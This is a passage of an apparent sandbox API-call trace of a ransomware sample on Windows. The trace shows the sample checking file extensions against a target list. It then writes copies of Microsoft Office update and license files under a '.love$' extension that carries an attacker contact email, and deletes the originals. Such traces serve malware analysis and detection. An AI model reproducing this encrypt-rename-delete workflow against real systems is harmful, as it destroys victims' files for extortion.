(lpString=".bz2") returned 4 [0253.314] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.314] lstrlenW (lpString=".7z") returned 3 [0253.314] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.314] lstrlenW (lpString=".dbf") returned 4 [0253.314] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.315] lstrlenW (lpString=".1cd") returned 4 [0253.315] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.315] lstrlenW (lpString=".jpg") returned 4 [0253.315] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.315] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0253.315] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28 [0253.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0253.387] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=595977) returned 1 [0253.387] CloseHandle (hObject=0x540) returned 1 [0253.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0253.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0253.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0253.601] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0254.595] GetLastError () returned 0x0 [0254.595] ReadFile (in: hFile=0x544, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x91809, lpOverlapped=0x0) returned 1 [0254.709] WriteFile (in: hFile=0x548, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x91810, lpOverlapped=0x0) returned 1 [0254.720] ReadFile (in: hFile=0x544, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0254.720] WriteFile (in: hFile=0x548, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10c, lpOverlapped=0x0) returned 1 [0254.721] SetEndOfFile (hFile=0x548) returned 1 [0254.721] CloseHandle (hObject=0x548) returned 1 [0254.721] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0254.721] SetEndOfFile (hFile=0x544) returned 1 [0254.737] CloseHandle (hObject=0x544) returned 1 [0254.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0255.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.145] lstrlenW (lpString=".doc") returned 4 [0255.145] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0255.145] lstrlenW (lpString=".docx") returned 5 [0255.145] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0255.145] lstrlenW (lpString=".pdf") returned 4 [0255.145] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0255.145] lstrlenW (lpString=".xls") returned 4 [0255.145] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0255.145] lstrlenW (lpString=".xlsx") returned 5 [0255.145] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0255.145] lstrlenW (lpString=".ppt") returned 4 [0255.145] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0255.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.145] lstrlenW (lpString=".zip") returned 4 [0255.145] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0255.145] lstrlenW (lpString=".rar") returned 4 [0255.145] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0255.145] lstrlenW (lpString=".bz2") returned 4 [0255.145] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0255.145] lstrlenW (lpString=".7z") returned 3 [0255.145] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0255.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.145] lstrlenW (lpString=".dbf") returned 4 [0255.145] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0255.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.146] lstrlenW (lpString=".1cd") returned 4 [0255.146] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0255.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.146] lstrlenW (lpString=".jpg") returned 4 [0255.146] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0255.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.146] lstrlenW (lpString=".doc") returned 4 [0255.146] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0255.146] lstrlenW (lpString=".docx") returned 5 [0255.146] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0255.146] lstrlenW (lpString=".pdf") returned 4 [0255.146] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0255.146] lstrlenW (lpString=".xls") returned 4 [0255.146] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0255.146] lstrlenW (lpString=".xlsx") returned 5 [0255.146] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0255.146] lstrlenW (lpString=".ppt") returned 4 [0255.146] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0255.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.146] lstrlenW (lpString=".zip") returned 4 [0255.146] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0255.146] lstrlenW (lpString=".rar") returned 4 [0255.146] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0255.146] lstrlenW (lpString=".bz2") returned 4 [0255.146] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0255.147] lstrlenW (lpString=".7z") returned 3 [0255.147] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0255.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.147] lstrlenW (lpString=".dbf") returned 4 [0255.147] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0255.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.147] lstrlenW (lpString=".1cd") returned 4 [0255.147] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0255.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0255.147] lstrlenW (lpString=".jpg") returned 4 [0255.147] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0255.147] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.147] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24 [0255.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.149] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10631) returned 1 [0255.149] CloseHandle (hObject=0x548) returned 1 [0255.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0255.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.150] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.150] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0255.152] GetLastError () returned 0x0 [0255.152] ReadFile (in: hFile=0x548, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2987, lpOverlapped=0x0) returned 1 [0255.183] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2990, lpOverlapped=0x0) returned 1 [0255.185] ReadFile (in: hFile=0x548, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0255.185] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x104, lpOverlapped=0x0) returned 1 [0255.185] SetEndOfFile (hFile=0x450) returned 1 [0255.186] CloseHandle (hObject=0x450) returned 1 [0255.186] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.186] SetEndOfFile (hFile=0x548) returned 1 [0255.189] CloseHandle (hObject=0x548) returned 1 [0255.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.485] lstrlenW (lpString=".doc") returned 4 [0255.485] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.485] lstrlenW (lpString=".docx") returned 5 [0255.485] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.485] lstrlenW (lpString=".pdf") returned 4 [0255.485] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.485] lstrlenW (lpString=".xls") returned 4 [0255.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.485] lstrlenW (lpString=".xlsx") returned 5 [0255.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.486] lstrlenW (lpString=".ppt") returned 4 [0255.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.486] lstrlenW (lpString=".zip") returned 4 [0255.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.486] lstrlenW (lpString=".rar") returned 4 [0255.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.486] lstrlenW (lpString=".bz2") returned 4 [0255.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.486] lstrlenW (lpString=".7z") returned 3 [0255.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.486] lstrlenW (lpString=".dbf") returned 4 [0255.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.486] lstrlenW (lpString=".1cd") returned 4 [0255.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.486] lstrlenW (lpString=".jpg") returned 4 [0255.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.486] lstrlenW (lpString=".doc") returned 4 [0255.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString=".docx") returned 5 [0255.487] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.487] lstrlenW (lpString=".pdf") returned 4 [0255.487] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString=".xls") returned 4 [0255.487] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString=".xlsx") returned 5 [0255.487] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.487] lstrlenW (lpString=".ppt") returned 4 [0255.487] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.487] lstrlenW (lpString=".zip") returned 4 [0255.487] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString=".rar") returned 4 [0255.487] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString=".bz2") returned 4 [0255.487] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString=".7z") returned 3 [0255.487] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.487] lstrlenW (lpString=".dbf") returned 4 [0255.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.487] lstrlenW (lpString=".1cd") returned 4 [0255.487] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0255.487] lstrlenW (lpString=".jpg") returned 4 [0255.488] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.488] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.488] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28 [0255.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.489] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11579) returned 1 [0255.489] CloseHandle (hObject=0x540) returned 1 [0255.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0255.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.490] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.491] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0255.492] GetLastError () returned 0x0 [0255.492] ReadFile (in: hFile=0x540, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0255.531] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d40, lpOverlapped=0x0) returned 1 [0255.533] ReadFile (in: hFile=0x540, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0255.533] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10c, lpOverlapped=0x0) returned 1 [0255.533] SetEndOfFile (hFile=0x450) returned 1 [0255.534] CloseHandle (hObject=0x450) returned 1 [0255.534] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.534] SetEndOfFile (hFile=0x540) returned 1 [0255.537] CloseHandle (hObject=0x540) returned 1 [0255.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0255.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.539] lstrlenW (lpString=".doc") returned 4 [0255.539] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.539] lstrlenW (lpString=".docx") returned 5 [0255.540] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.540] lstrlenW (lpString=".pdf") returned 4 [0255.540] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString=".xls") returned 4 [0255.540] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString=".xlsx") returned 5 [0255.540] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.540] lstrlenW (lpString=".ppt") returned 4 [0255.540] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.540] lstrlenW (lpString=".zip") returned 4 [0255.540] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString=".rar") returned 4 [0255.540] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString=".bz2") returned 4 [0255.540] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString=".7z") returned 3 [0255.540] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.540] lstrlenW (lpString=".dbf") returned 4 [0255.540] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.540] lstrlenW (lpString=".1cd") returned 4 [0255.540] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.540] lstrlenW (lpString=".jpg") returned 4 [0255.540] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.540] lstrlenW (lpString=".doc") returned 4 [0255.540] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.540] lstrlenW (lpString=".docx") returned 5 [0255.541] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.541] lstrlenW (lpString=".pdf") returned 4 [0255.541] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString=".xls") returned 4 [0255.541] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString=".xlsx") returned 5 [0255.541] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.541] lstrlenW (lpString=".ppt") returned 4 [0255.541] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.541] lstrlenW (lpString=".zip") returned 4 [0255.541] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString=".rar") returned 4 [0255.541] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString=".bz2") returned 4 [0255.541] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString=".7z") returned 3 [0255.541] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.541] lstrlenW (lpString=".dbf") returned 4 [0255.541] 